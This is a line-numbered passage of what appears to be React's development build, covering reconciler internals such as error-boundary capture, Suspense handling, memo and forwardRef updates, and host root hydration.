19062 attachRetryListener(suspenseBoundary, root, wakeable);
19063 return;
19064 } else {
19065 // No boundary was found. Unless this is a sync update, this is OK.
19066 // We can suspend and wait for more data to arrive.
19067 if (!includesSyncLane(rootRenderLanes)) {
19068 // This is not a sync update. Suspend. Since we're not activating a
19069 // Suspense boundary, this will unwind all the way to the root without
19070 // performing a second pass to render a fallback. (This is arguably how
19071 // refresh transitions should work, too, since we're not going to commit
19072 // the fallbacks anyway.)
19073 //
19074 // This case also applies to initial hydration.
19075 attachPingListener(root, wakeable, rootRenderLanes);
19076 renderDidSuspendDelayIfPossible();
19077 return;
19078 } // This is a sync/discrete update. We treat this case like an error
19079 // because discrete renders are expected to produce a complete tree
19080 // synchronously to maintain consistency with external state.
19081
19082
19083 var uncaughtSuspenseError = new Error('A component suspended while responding to synchronous input. This ' + 'will cause the UI to be replaced with a loading indicator. To ' + 'fix, updates that suspend should be wrapped ' + 'with startTransition.'); // If we're outside a transition, fall through to the regular error path.
19084 // The error will be caught by the nearest suspense boundary.
19085
19086 value = uncaughtSuspenseError;
19087 }
19088 } else {
19089 // This is a regular error, not a Suspense wakeable.
19090 if (getIsHydrating() && sourceFiber.mode & ConcurrentMode) {
19091 markDidThrowWhileHydratingDEV();
19092
19093 var _suspenseBoundary = getNearestSuspenseBoundaryToCapture(returnFiber); // If the error was thrown during hydration, we may be able to recover by
19094 // discarding the dehydrated content and switching to a client render.
19095 // Instead of surfacing the error, find the nearest Suspense boundary
19096 // and render it again without hydration.
19097
19098
19099 if (_suspenseBoundary !== null) {
19100 if ((_suspenseBoundary.flags & ShouldCapture) === NoFlags) {
19101 // Set a flag to indicate that we should try rendering the normal
19102 // children again, not the fallback.
19103 _suspenseBoundary.flags |= ForceClientRender;
19104 }
19105
19106 markSuspenseBoundaryShouldCapture(_suspenseBoundary, returnFiber, sourceFiber, root, rootRenderLanes); // Even though the user may not be affected by this error, we should
19107 // still log it so it can be fixed.
19108
19109 queueHydrationError(createCapturedValueAtFiber(value, sourceFiber));
19110 return;
19111 }
19112 }
19113 }
19114
19115 value = createCapturedValueAtFiber(value, sourceFiber);
19116 renderDidError(value); // We didn't find a boundary that could handle this type of exception. Start
19117 // over and traverse parent path again, this time treating the exception
19118 // as an error.
19119
19120 var workInProgress = returnFiber;
19121
19122 do {
19123 switch (workInProgress.tag) {
19124 case HostRoot:
19125 {
19126 var _errorInfo = value;
19127 workInProgress.flags |= ShouldCapture;
19128 var lane = pickArbitraryLane(rootRenderLanes);
19129 workInProgress.lanes = mergeLanes(workInProgress.lanes, lane);
19130 var update = createRootErrorUpdate(workInProgress, _errorInfo, lane);
19131 enqueueCapturedUpdate(workInProgress, update);
19132 return;
19133 }
19134
19135 case ClassComponent:
19136 // Capture and retry
19137 var errorInfo = value;
19138 var ctor = workInProgress.type;
19139 var instance = workInProgress.stateNode;
19140
19141 if ((workInProgress.flags & DidCapture) === NoFlags && (typeof ctor.getDerivedStateFromError === 'function' || instance !== null && typeof instance.componentDidCatch === 'function' && !isAlreadyFailedLegacyErrorBoundary(instance))) {
19142 workInProgress.flags |= ShouldCapture;
19143
19144 var _lane = pickArbitraryLane(rootRenderLanes);
19145
19146 workInProgress.lanes = mergeLanes(workInProgress.lanes, _lane); // Schedule the error boundary to re-render using updated state
19147
19148 var _update = createClassErrorUpdate(workInProgress, errorInfo, _lane);
19149
19150 enqueueCapturedUpdate(workInProgress, _update);
19151 return;
19152 }
19153
19154 break;
19155 }
19156
19157 workInProgress = workInProgress.return;
19158 } while (workInProgress !== null);
19159 }
19160
19161 function getSuspendedCache() {
19162 {
19163 return null;
19164 } // This function is called when a Suspense boundary suspends. It returns the
19165 }
19166
19167 var ReactCurrentOwner$1 = ReactSharedInternals.ReactCurrentOwner;
19168 var didReceiveUpdate = false;
19169 var didWarnAboutBadClass;
19170 var didWarnAboutModulePatternComponent;
19171 var didWarnAboutContextTypeOnFunctionComponent;
19172 var didWarnAboutGetDerivedStateOnFunctionComponent;
19173 var didWarnAboutFunctionRefs;
19174 var didWarnAboutReassigningProps;
19175 var didWarnAboutRevealOrder;
19176 var didWarnAboutTailOptions;
19177 var didWarnAboutDefaultPropsOnFunctionComponent;
19178
19179 {
19180 didWarnAboutBadClass = {};
19181 didWarnAboutModulePatternComponent = {};
19182 didWarnAboutContextTypeOnFunctionComponent = {};
19183 didWarnAboutGetDerivedStateOnFunctionComponent = {};
19184 didWarnAboutFunctionRefs = {};
19185 didWarnAboutReassigningProps = false;
19186 didWarnAboutRevealOrder = {};
19187 didWarnAboutTailOptions = {};
19188 didWarnAboutDefaultPropsOnFunctionComponent = {};
19189 }
19190
19191 function reconcileChildren(current, workInProgress, nextChildren, renderLanes) {
19192 if (current === null) {
19193 // If this is a fresh new component that hasn't been rendered yet, we
19194 // won't update its child set by applying minimal side-effects. Instead,
19195 // we will add them all to the child before it gets rendered. That means
19196 // we can optimize this reconciliation pass by not tracking side-effects.
19197 workInProgress.child = mountChildFibers(workInProgress, null, nextChildren, renderLanes);
19198 } else {
19199 // If the current child is the same as the work in progress, it means that
19200 // we haven't yet started any work on these children. Therefore, we use
19201 // the clone algorithm to create a copy of all the current children.
19202 // If we had any progressed work already, that is invalid at this point so
19203 // let's throw it out.
19204 workInProgress.child = reconcileChildFibers(workInProgress, current.child, nextChildren, renderLanes);
19205 }
19206 }
19207
19208 function forceUnmountCurrentAndReconcile(current, workInProgress, nextChildren, renderLanes) {
19209 // This function is fork of reconcileChildren. It's used in cases where we
19210 // want to reconcile without matching against the existing set. This has the
19211 // effect of all current children being unmounted; even if the type and key
19212 // are the same, the old child is unmounted and a new child is created.
19213 //
19214 // To do this, we're going to go through the reconcile algorithm twice. In
19215 // the first pass, we schedule a deletion for all the current children by
19216 // passing null.
19217 workInProgress.child = reconcileChildFibers(workInProgress, current.child, null, renderLanes); // In the second pass, we mount the new children. The trick here is that we
19218 // pass null in place of where we usually pass the current child set. This has
19219 // the effect of remounting all children regardless of whether their
19220 // identities match.
19221
19222 workInProgress.child = reconcileChildFibers(workInProgress, null, nextChildren, renderLanes);
19223 }
19224
19225 function updateForwardRef(current, workInProgress, Component, nextProps, renderLanes) {
19226 // TODO: current can be non-null here even if the component
19227 // hasn't yet mounted. This happens after the first render suspends.
19228 // We'll need to figure out if this is fine or can cause issues.
19229 {
19230 if (workInProgress.type !== workInProgress.elementType) {
19231 // Lazy component props can't be validated in createElement
19232 // because they're only guaranteed to be resolved here.
19233 var innerPropTypes = Component.propTypes;
19234
19235 if (innerPropTypes) {
19236 checkPropTypes(innerPropTypes, nextProps, // Resolved props
19237 'prop', getComponentNameFromType(Component));
19238 }
19239 }
19240 }
19241
19242 var render = Component.render;
19243 var ref = workInProgress.ref; // The rest is a fork of updateFunctionComponent
19244
19245 var nextChildren;
19246 var hasId;
19247 prepareToReadContext(workInProgress, renderLanes);
19248
19249 {
19250 markComponentRenderStarted(workInProgress);
19251 }
19252
19253 {
19254 ReactCurrentOwner$1.current = workInProgress;
19255 setIsRendering(true);
19256 nextChildren = renderWithHooks(current, workInProgress, render, nextProps, ref, renderLanes);
19257 hasId = checkDidRenderIdHook();
19258
19259 if ( workInProgress.mode & StrictLegacyMode) {
19260 setIsStrictModeForDevtools(true);
19261
19262 try {
19263 nextChildren = renderWithHooks(current, workInProgress, render, nextProps, ref, renderLanes);
19264 hasId = checkDidRenderIdHook();
19265 } finally {
19266 setIsStrictModeForDevtools(false);
19267 }
19268 }
19269
19270 setIsRendering(false);
19271 }
19272
19273 {
19274 markComponentRenderStopped();
19275 }
19276
19277 if (current !== null && !didReceiveUpdate) {
19278 bailoutHooks(current, workInProgress, renderLanes);
19279 return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
19280 }
19281
19282 if (getIsHydrating() && hasId) {
19283 pushMaterializedTreeId(workInProgress);
19284 } // React DevTools reads this flag.
19285
19286
19287 workInProgress.flags |= PerformedWork;
19288 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
19289 return workInProgress.child;
19290 }
19291
19292 function updateMemoComponent(current, workInProgress, Component, nextProps, renderLanes) {
19293 if (current === null) {
19294 var type = Component.type;
19295
19296 if (isSimpleFunctionComponent(type) && Component.compare === null && // SimpleMemoComponent codepath doesn't resolve outer props either.
19297 Component.defaultProps === undefined) {
19298 var resolvedType = type;
19299
19300 {
19301 resolvedType = resolveFunctionForHotReloading(type);
19302 } // If this is a plain function component without default props,
19303 // and with only the default shallow comparison, we upgrade it
19304 // to a SimpleMemoComponent to allow fast path updates.
19305
19306
19307 workInProgress.tag = SimpleMemoComponent;
19308 workInProgress.type = resolvedType;
19309
19310 {
19311 validateFunctionComponentInDev(workInProgress, type);
19312 }
19313
19314 return updateSimpleMemoComponent(current, workInProgress, resolvedType, nextProps, renderLanes);
19315 }
19316
19317 {
19318 var innerPropTypes = type.propTypes;
19319
19320 if (innerPropTypes) {
19321 // Inner memo component props aren't currently validated in createElement.
19322 // We could move it there, but we'd still need this for lazy code path.
19323 checkPropTypes(innerPropTypes, nextProps, // Resolved props
19324 'prop', getComponentNameFromType(type));
19325 }
19326
19327 if ( Component.defaultProps !== undefined) {
19328 var componentName = getComponentNameFromType(type) || 'Unknown';
19329
19330 if (!didWarnAboutDefaultPropsOnFunctionComponent[componentName]) {
19331 error('%s: Support for defaultProps will be removed from memo components ' + 'in a future major release. Use JavaScript default parameters instead.', componentName);
19332
19333 didWarnAboutDefaultPropsOnFunctionComponent[componentName] = true;
19334 }
19335 }
19336 }
19337
19338 var child = createFiberFromTypeAndProps(Component.type, null, nextProps, workInProgress, workInProgress.mode, renderLanes);
19339 child.ref = workInProgress.ref;
19340 child.return = workInProgress;
19341 workInProgress.child = child;
19342 return child;
19343 }
19344
19345 {
19346 var _type = Component.type;
19347 var _innerPropTypes = _type.propTypes;
19348
19349 if (_innerPropTypes) {
19350 // Inner memo component props aren't currently validated in createElement.
19351 // We could move it there, but we'd still need this for lazy code path.
19352 checkPropTypes(_innerPropTypes, nextProps, // Resolved props
19353 'prop', getComponentNameFromType(_type));
19354 }
19355 }
19356
19357 var currentChild = current.child; // This is always exactly one child
19358
19359 var hasScheduledUpdateOrContext = checkScheduledUpdateOrContext(current, renderLanes);
19360
19361 if (!hasScheduledUpdateOrContext) {
19362 // This will be the props with resolved defaultProps,
19363 // unlike current.memoizedProps which will be the unresolved ones.
19364 var prevProps = currentChild.memoizedProps; // Default to shallow comparison
19365
19366 var compare = Component.compare;
19367 compare = compare !== null ? compare : shallowEqual;
19368
19369 if (compare(prevProps, nextProps) && current.ref === workInProgress.ref) {
19370 return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
19371 }
19372 } // React DevTools reads this flag.
19373
19374
19375 workInProgress.flags |= PerformedWork;
19376 var newChild = createWorkInProgress(currentChild, nextProps);
19377 newChild.ref = workInProgress.ref;
19378 newChild.return = workInProgress;
19379 workInProgress.child = newChild;
19380 return newChild;
19381 }
19382
19383 function updateSimpleMemoComponent(current, workInProgress, Component, nextProps, renderLanes) {
19384 // TODO: current can be non-null here even if the component
19385 // hasn't yet mounted. This happens when the inner render suspends.
19386 // We'll need to figure out if this is fine or can cause issues.
19387 {
19388 if (workInProgress.type !== workInProgress.elementType) {
19389 // Lazy component props can't be validated in createElement
19390 // because they're only guaranteed to be resolved here.
19391 var outerMemoType = workInProgress.elementType;
19392
19393 if (outerMemoType.$$typeof === REACT_LAZY_TYPE) {
19394 // We warn when you define propTypes on lazy()
19395 // so let's just skip over it to find memo() outer wrapper.
19396 // Inner props for memo are validated later.
19397 var lazyComponent = outerMemoType;
19398 var payload = lazyComponent._payload;
19399 var init = lazyComponent._init;
19400
19401 try {
19402 outerMemoType = init(payload);
19403 } catch (x) {
19404 outerMemoType = null;
19405 } // Inner propTypes will be validated in the function component path.
19406
19407
19408 var outerPropTypes = outerMemoType && outerMemoType.propTypes;
19409
19410 if (outerPropTypes) {
19411 checkPropTypes(outerPropTypes, nextProps, // Resolved (SimpleMemoComponent has no defaultProps)
19412 'prop', getComponentNameFromType(outerMemoType));
19413 }
19414 }
19415 }
19416 }
19417
19418 if (current !== null) {
19419 var prevProps = current.memoizedProps;
19420
19421 if (shallowEqual(prevProps, nextProps) && current.ref === workInProgress.ref && ( // Prevent bailout if the implementation changed due to hot reload.
19422 workInProgress.type === current.type )) {
19423 didReceiveUpdate = false; // The props are shallowly equal. Reuse the previous props object, like we
19424 // would during a normal fiber bailout.
19425 //
19426 // We don't have strong guarantees that the props object is referentially
19427 // equal during updates where we can't bail out anyway — like if the props
19428 // are shallowly equal, but there's a local state or context update in the
19429 // same batch.
19430 //
19431 // However, as a principle, we should aim to make the behavior consistent
19432 // across different ways of memoizing a component. For example, React.memo
19433 // has a different internal Fiber layout if you pass a normal function
19434 // component (SimpleMemoComponent) versus if you pass a different type
19435 // like forwardRef (MemoComponent). But this is an implementation detail.
19436 // Wrapping a component in forwardRef (or React.lazy, etc) shouldn't
19437 // affect whether the props object is reused during a bailout.
19438
19439 workInProgress.pendingProps = nextProps = prevProps;
19440
19441 if (!checkScheduledUpdateOrContext(current, renderLanes)) {
19442 // The pending lanes were cleared at the beginning of beginWork. We're
19443 // about to bail out, but there might be other lanes that weren't
19444 // included in the current render. Usually, the priority level of the
19445 // remaining updates is accumulated during the evaluation of the
19446 // component (i.e. when processing the update queue). But since since
19447 // we're bailing out early *without* evaluating the component, we need
19448 // to account for it here, too. Reset to the value of the current fiber.
19449 // NOTE: This only applies to SimpleMemoComponent, not MemoComponent,
19450 // because a MemoComponent fiber does not have hooks or an update queue;
19451 // rather, it wraps around an inner component, which may or may not
19452 // contains hooks.
19453 // TODO: Move the reset at in beginWork out of the common path so that
19454 // this is no longer necessary.
19455 workInProgress.lanes = current.lanes;
19456 return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
19457 } else if ((current.flags & ForceUpdateForLegacySuspense) !== NoFlags) {
19458 // This is a special case that only exists for legacy mode.
19459 // See https://github.com/facebook/react/pull/19216.
19460 didReceiveUpdate = true;
19461 }
19462 }
19463 }
19464
19465 return updateFunctionComponent(current, workInProgress, Component, nextProps, renderLanes);
19466 }
19467
19468 function updateOffscreenComponent(current, workInProgress, renderLanes) {
19469 var nextProps = workInProgress.pendingProps;
19470 var nextChildren = nextProps.children;
19471 var prevState = current !== null ? current.memoizedState : null;
19472
19473 if (nextProps.mode === 'hidden' || enableLegacyHidden ) {
19474 // Rendering a hidden tree.
19475 if ((workInProgress.mode & ConcurrentMode) === NoMode) {
19476 // In legacy sync mode, don't defer the subtree. Render it now.
19477 // TODO: Consider how Offscreen should work with transitions in the future
19478 var nextState = {
19479 baseLanes: NoLanes,
19480 cachePool: null,
19481 transitions: null
19482 };
19483 workInProgress.memoizedState = nextState;
19484
19485 pushRenderLanes(workInProgress, renderLanes);
19486 } else if (!includesSomeLane(renderLanes, OffscreenLane)) {
19487 var spawnedCachePool = null; // We're hidden, and we're not rendering at Offscreen. We will bail out
19488 // and resume this tree later.
19489
19490 var nextBaseLanes;
19491
19492 if (prevState !== null) {
19493 var prevBaseLanes = prevState.baseLanes;
19494 nextBaseLanes = mergeLanes(prevBaseLanes, renderLanes);
19495 } else {
19496 nextBaseLanes = renderLanes;
19497 } // Schedule this fiber to re-render at offscreen priority. Then bailout.
19498
19499
19500 workInProgress.lanes = workInProgress.childLanes = laneToLanes(OffscreenLane);
19501 var _nextState = {
19502 baseLanes: nextBaseLanes,
19503 cachePool: spawnedCachePool,
19504 transitions: null
19505 };
19506 workInProgress.memoizedState = _nextState;
19507 workInProgress.updateQueue = null;
19508 // to avoid a push/pop misalignment.
19509
19510
19511 pushRenderLanes(workInProgress, nextBaseLanes);
19512
19513 return null;
19514 } else {
19515 // This is the second render. The surrounding visible content has already
19516 // committed. Now we resume rendering the hidden tree.
19517 // Rendering at offscreen, so we can clear the base lanes.
19518 var _nextState2 = {
19519 baseLanes: NoLanes,
19520 cachePool: null,
19521 transitions: null
19522 };
19523 workInProgress.memoizedState = _nextState2; // Push the lanes that were skipped when we bailed out.
19524
19525 var subtreeRenderLanes = prevState !== null ? prevState.baseLanes : renderLanes;
19526
19527 pushRenderLanes(workInProgress, subtreeRenderLanes);
19528 }
19529 } else {
19530 // Rendering a visible tree.
19531 var _subtreeRenderLanes;
19532
19533 if (prevState !== null) {
19534 // We're going from hidden -> visible.
19535 _subtreeRenderLanes = mergeLanes(prevState.baseLanes, renderLanes);
19536
19537 workInProgress.memoizedState = null;
19538 } else {
19539 // We weren't previously hidden, and we still aren't, so there's nothing
19540 // special to do. Need to push to the stack regardless, though, to avoid
19541 // a push/pop misalignment.
19542 _subtreeRenderLanes = renderLanes;
19543 }
19544
19545 pushRenderLanes(workInProgress, _subtreeRenderLanes);
19546 }
19547
19548 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
19549 return workInProgress.child;
19550 } // Note: These happen to have identical begin phases, for now. We shouldn't hold
19551
19552 function updateFragment(current, workInProgress, renderLanes) {
19553 var nextChildren = workInProgress.pendingProps;
19554 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
19555 return workInProgress.child;
19556 }
19557
19558 function updateMode(current, workInProgress, renderLanes) {
19559 var nextChildren = workInProgress.pendingProps.children;
19560 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
19561 return workInProgress.child;
19562 }
19563
19564 function updateProfiler(current, workInProgress, renderLanes) {
19565 {
19566 workInProgress.flags |= Update;
19567
19568 {
19569 // Reset effect durations for the next eventual effect phase.
19570 // These are reset during render to allow the DevTools commit hook a chance to read them,
19571 var stateNode = workInProgress.stateNode;
19572 stateNode.effectDuration = 0;
19573 stateNode.passiveEffectDuration = 0;
19574 }
19575 }
19576
19577 var nextProps = workInProgress.pendingProps;
19578 var nextChildren = nextProps.children;
19579 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
19580 return workInProgress.child;
19581 }
19582
19583 function markRef(current, workInProgress) {
19584 var ref = workInProgress.ref;
19585
19586 if (current === null && ref !== null || current !== null && current.ref !== ref) {
19587 // Schedule a Ref effect
19588 workInProgress.flags |= Ref;
19589
19590 {
19591 workInProgress.flags |= RefStatic;
19592 }
19593 }
19594 }
19595
19596 function updateFunctionComponent(current, workInProgress, Component, nextProps, renderLanes) {
19597 {
19598 if (workInProgress.type !== workInProgress.elementType) {
19599 // Lazy component props can't be validated in createElement
19600 // because they're only guaranteed to be resolved here.
19601 var innerPropTypes = Component.propTypes;
19602
19603 if (innerPropTypes) {
19604 checkPropTypes(innerPropTypes, nextProps, // Resolved props
19605 'prop', getComponentNameFromType(Component));
19606 }
19607 }
19608 }
19609
19610 var context;
19611
19612 {
19613 var unmaskedContext = getUnmaskedContext(workInProgress, Component, true);
19614 context = getMaskedContext(workInProgress, unmaskedContext);
19615 }
19616
19617 var nextChildren;
19618 var hasId;
19619 prepareToReadContext(workInProgress, renderLanes);
19620
19621 {
19622 markComponentRenderStarted(workInProgress);
19623 }
19624
19625 {
19626 ReactCurrentOwner$1.current = workInProgress;
19627 setIsRendering(true);
19628 nextChildren = renderWithHooks(current, workInProgress, Component, nextProps, context, renderLanes);
19629 hasId = checkDidRenderIdHook();
19630
19631 if ( workInProgress.mode & StrictLegacyMode) {
19632 setIsStrictModeForDevtools(true);
19633
19634 try {
19635 nextChildren = renderWithHooks(current, workInProgress, Component, nextProps, context, renderLanes);
19636 hasId = checkDidRenderIdHook();
19637 } finally {
19638 setIsStrictModeForDevtools(false);
19639 }
19640 }
19641
19642 setIsRendering(false);
19643 }
19644
19645 {
19646 markComponentRenderStopped();
19647 }
19648
19649 if (current !== null && !didReceiveUpdate) {
19650 bailoutHooks(current, workInProgress, renderLanes);
19651 return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
19652 }
19653
19654 if (getIsHydrating() && hasId) {
19655 pushMaterializedTreeId(workInProgress);
19656 } // React DevTools reads this flag.
19657
19658
19659 workInProgress.flags |= PerformedWork;
19660 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
19661 return workInProgress.child;
19662 }
19663
19664 function updateClassComponent(current, workInProgress, Component, nextProps, renderLanes) {
19665 {
19666 // This is used by DevTools to force a boundary to error.
19667 switch (shouldError(workInProgress)) {
19668 case false:
19669 {
19670 var _instance = workInProgress.stateNode;
19671 var ctor = workInProgress.type; // TODO This way of resetting the error boundary state is a hack.
19672 // Is there a better way to do this?
19673
19674 var tempInstance = new ctor(workInProgress.memoizedProps, _instance.context);
19675 var state = tempInstance.state;
19676
19677 _instance.updater.enqueueSetState(_instance, state, null);
19678
19679 break;
19680 }
19681
19682 case true:
19683 {
19684 workInProgress.flags |= DidCapture;
19685 workInProgress.flags |= ShouldCapture; // eslint-disable-next-line react-internal/prod-error-codes
19686
19687 var error$1 = new Error('Simulated error coming from DevTools');
19688 var lane = pickArbitraryLane(renderLanes);
19689 workInProgress.lanes = mergeLanes(workInProgress.lanes, lane); // Schedule the error boundary to re-render using updated state
19690
19691 var update = createClassErrorUpdate(workInProgress, createCapturedValueAtFiber(error$1, workInProgress), lane);
19692 enqueueCapturedUpdate(workInProgress, update);
19693 break;
19694 }
19695 }
19696
19697 if (workInProgress.type !== workInProgress.elementType) {
19698 // Lazy component props can't be validated in createElement
19699 // because they're only guaranteed to be resolved here.
19700 var innerPropTypes = Component.propTypes;
19701
19702 if (innerPropTypes) {
19703 checkPropTypes(innerPropTypes, nextProps, // Resolved props
19704 'prop', getComponentNameFromType(Component));
19705 }
19706 }
19707 } // Push context providers early to prevent context stack mismatches.
19708 // During mounting we don't know the child context yet as the instance doesn't exist.
19709 // We will invalidate the child context in finishClassComponent() right after rendering.
19710
19711
19712 var hasContext;
19713
19714 if (isContextProvider(Component)) {
19715 hasContext = true;
19716 pushContextProvider(workInProgress);
19717 } else {
19718 hasContext = false;
19719 }
19720
19721 prepareToReadContext(workInProgress, renderLanes);
19722 var instance = workInProgress.stateNode;
19723 var shouldUpdate;
19724
19725 if (instance === null) {
19726 resetSuspendedCurrentOnMountInLegacyMode(current, workInProgress); // In the initial pass we might need to construct the instance.
19727
19728 constructClassInstance(workInProgress, Component, nextProps);
19729 mountClassInstance(workInProgress, Component, nextProps, renderLanes);
19730 shouldUpdate = true;
19731 } else if (current === null) {
19732 // In a resume, we'll already have an instance we can reuse.
19733 shouldUpdate = resumeMountClassInstance(workInProgress, Component, nextProps, renderLanes);
19734 } else {
19735 shouldUpdate = updateClassInstance(current, workInProgress, Component, nextProps, renderLanes);
19736 }
19737
19738 var nextUnitOfWork = finishClassComponent(current, workInProgress, Component, shouldUpdate, hasContext, renderLanes);
19739
19740 {
19741 var inst = workInProgress.stateNode;
19742
19743 if (shouldUpdate && inst.props !== nextProps) {
19744 if (!didWarnAboutReassigningProps) {
19745 error('It looks like %s is reassigning its own `this.props` while rendering. ' + 'This is not supported and can lead to confusing bugs.', getComponentNameFromFiber(workInProgress) || 'a component');
19746 }
19747
19748 didWarnAboutReassigningProps = true;
19749 }
19750 }
19751
19752 return nextUnitOfWork;
19753 }
19754
19755 function finishClassComponent(current, workInProgress, Component, shouldUpdate, hasContext, renderLanes) {
19756 // Refs should update even if shouldComponentUpdate returns false
19757 markRef(current, workInProgress);
19758 var didCaptureError = (workInProgress.flags & DidCapture) !== NoFlags;
19759
19760 if (!shouldUpdate && !didCaptureError) {
19761 // Context providers should defer to sCU for rendering
19762 if (hasContext) {
19763 invalidateContextProvider(workInProgress, Component, false);
19764 }
19765
19766 return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
19767 }
19768
19769 var instance = workInProgress.stateNode; // Rerender
19770
19771 ReactCurrentOwner$1.current = workInProgress;
19772 var nextChildren;
19773
19774 if (didCaptureError && typeof Component.getDerivedStateFromError !== 'function') {
19775 // If we captured an error, but getDerivedStateFromError is not defined,
19776 // unmount all the children. componentDidCatch will schedule an update to
19777 // re-render a fallback. This is temporary until we migrate everyone to
19778 // the new API.
19779 // TODO: Warn in a future release.
19780 nextChildren = null;
19781
19782 {
19783 stopProfilerTimerIfRunning();
19784 }
19785 } else {
19786 {
19787 markComponentRenderStarted(workInProgress);
19788 }
19789
19790 {
19791 setIsRendering(true);
19792 nextChildren = instance.render();
19793
19794 if ( workInProgress.mode & StrictLegacyMode) {
19795 setIsStrictModeForDevtools(true);
19796
19797 try {
19798 instance.render();
19799 } finally {
19800 setIsStrictModeForDevtools(false);
19801 }
19802 }
19803
19804 setIsRendering(false);
19805 }
19806
19807 {
19808 markComponentRenderStopped();
19809 }
19810 } // React DevTools reads this flag.
19811
19812
19813 workInProgress.flags |= PerformedWork;
19814
19815 if (current !== null && didCaptureError) {
19816 // If we're recovering from an error, reconcile without reusing any of
19817 // the existing children. Conceptually, the normal children and the children
19818 // that are shown on error are two different sets, so we shouldn't reuse
19819 // normal children even if their identities match.
19820 forceUnmountCurrentAndReconcile(current, workInProgress, nextChildren, renderLanes);
19821 } else {
19822 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
19823 } // Memoize state using the values we just used to render.
19824 // TODO: Restructure so we never read values from the instance.
19825
19826
19827 workInProgress.memoizedState = instance.state; // The context might have changed so we need to recalculate it.
19828
19829 if (hasContext) {
19830 invalidateContextProvider(workInProgress, Component, true);
19831 }
19832
19833 return workInProgress.child;
19834 }
19835
19836 function pushHostRootContext(workInProgress) {
19837 var root = workInProgress.stateNode;
19838
19839 if (root.pendingContext) {
19840 pushTopLevelContextObject(workInProgress, root.pendingContext, root.pendingContext !== root.context);
19841 } else if (root.context) {
19842 // Should always be set
19843 pushTopLevelContextObject(workInProgress, root.context, false);
19844 }
19845
19846 pushHostContainer(workInProgress, root.containerInfo);
19847 }
19848
19849 function updateHostRoot(current, workInProgress, renderLanes) {
19850 pushHostRootContext(workInProgress);
19851
19852 if (current === null) {
19853 throw new Error('Should have a current fiber. This is a bug in React.');
19854 }
19855
19856 var nextProps = workInProgress.pendingProps;
19857 var prevState = workInProgress.memoizedState;
19858 var prevChildren = prevState.element;
19859 cloneUpdateQueue(current, workInProgress);
19860 processUpdateQueue(workInProgress, nextProps, null, renderLanes);
19861 var nextState = workInProgress.memoizedState;
19862 var root = workInProgress.stateNode;
19863 // being called "element".
19864
19865
19866 var nextChildren = nextState.element;
19867
19868 if ( prevState.isDehydrated) {
19869 // This is a hydration root whose shell has not yet hydrated. We should
19870 // attempt to hydrate.
19871 // Flip isDehydrated to false to indicate that when this render
19872 // finishes, the root will no longer be dehydrated.
19873 var overrideState = {
19874 element: nextChildren,
19875 isDehydrated: false,
19876 cache: nextState.cache,
19877 pendingSuspenseBoundaries: nextState.pendingSuspenseBoundaries,
19878 transitions: nextState.transitions
19879 };
19880 var updateQueue = workInProgress.updateQueue; // `baseState` can always be the last state because the root doesn't
19881 // have reducer functions so it doesn't need rebasing.
19882
19883 updateQueue.baseState = overrideState;
19884 workInProgress.memoizedState = overrideState;
19885
19886 if (workInProgress.flags & ForceClientRender) {
19887 // Something errored during a previous attempt to hydrate the shell, so we
19888 // forced a client render.
19889 var recoverableError = createCapturedValueAtFiber(new Error('There was an error while hydrating. Because the error happened outside ' + 'of a Suspense boundary, the entire root will switch to ' + 'client rendering.'), workInProgress);
19890 return mountHostRootWithoutHydrating(current, workInProgress, nextChildren, renderLanes, recoverableError);
19891 } else if (nextChildren !== prevChildren) {
19892 var _recoverableError = createCapturedValueAtFiber(new Error('This root received an early update, before anything was able ' + 'hydrate. Switched the entire root to client rendering.'), workInProgress);
19893
19894 return mountHostRootWithoutHydrating(current, workInProgress, nextChildren, renderLanes, _recoverableError);
19895 } else {
19896 // The outermost shell has not hydrated yet. Start hydrating.
19897 enterHydrationState(workInProgress);
19898
19899 var child = mountChildFibers(workInProgress, null, nextChildren, renderLanes);
19900 workInProgress.child = child;
19901 var node = child;
19902
19903 while (node) {
19904 // Mark each child as hydrating. This is a fast path to know whether this
19905 // tree is part of a hydrating tree. This is used to determine if a child
19906 // node has fully mounted yet, and for scheduling event replaying.
19907 // Conceptually this is similar to Placement in that a new subtree is
19908 // inserted into the React tree here. It just happens to not need DOM
19909 // mutations because it already exists.
19910 node.flags = node.flags & ~Placement | Hydrating;
19911 node = node.sibling;
19912 }
19913 }
19914 } else {
19915 // Root is not dehydrated. Either this is a client-only root, or it
19916 // already hydrated.
19917 resetHydrationState();
19918
19919 if (nextChildren === prevChildren) {
19920 return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
19921 }
19922
19923 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
19924 }
19925
19926 return workInProgress.child;
19927 }
19928
19929 function mountHostRootWithoutHydrating(current, workInProgress, nextChildren, renderLanes, recoverableError) {
19930 // Revert to client rendering.
19931 resetHydrationState();
19932 queueHydrationError(recoverableError);
19933 workInProgress.flags |= ForceClientRender;
19934 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
19935 return workInProgress.child;
19936 }
19937
19938 function updateHostComponent(current, workInProgress, renderLanes) {
19939 pushHostContext(workInProgress);
19940
19941 if (current === null) {
19942 tryToClaimNextHydratableInstance(workInProgress);
19943 }
19944
19945 var type = workInProgress.type;
19946 var nextProps = workInProgress.pendingProps;
19947 var prevProps = current !== null ? current.memoizedProps : null;
19948 var nextChildren = nextProps.children;
19949 var isDirectTextChild = shouldSetTextContent(type, nextProps);
19950
19951 if (isDirectTextChild) {
19952 // We special case a direct text child of a host node. This is a common
19953 // case. We won't handle it as a reified child. We will instead handle
19954 // this in the host environment that also has access to this prop. That
19955 // avoids allocating another HostText fiber and traversing it.
19956 nextChildren = null;
19957 } else if (prevProps !== null && shouldSetTextContent(type, prevProps)) {
19958 // If we're switching from a direct text child to a normal child, or to
19959 // empty, we need to schedule the text content to be reset.
19960 workInProgress.flags |= ContentReset;
19961 }
19962
19963 markRef(current, workInProgress);
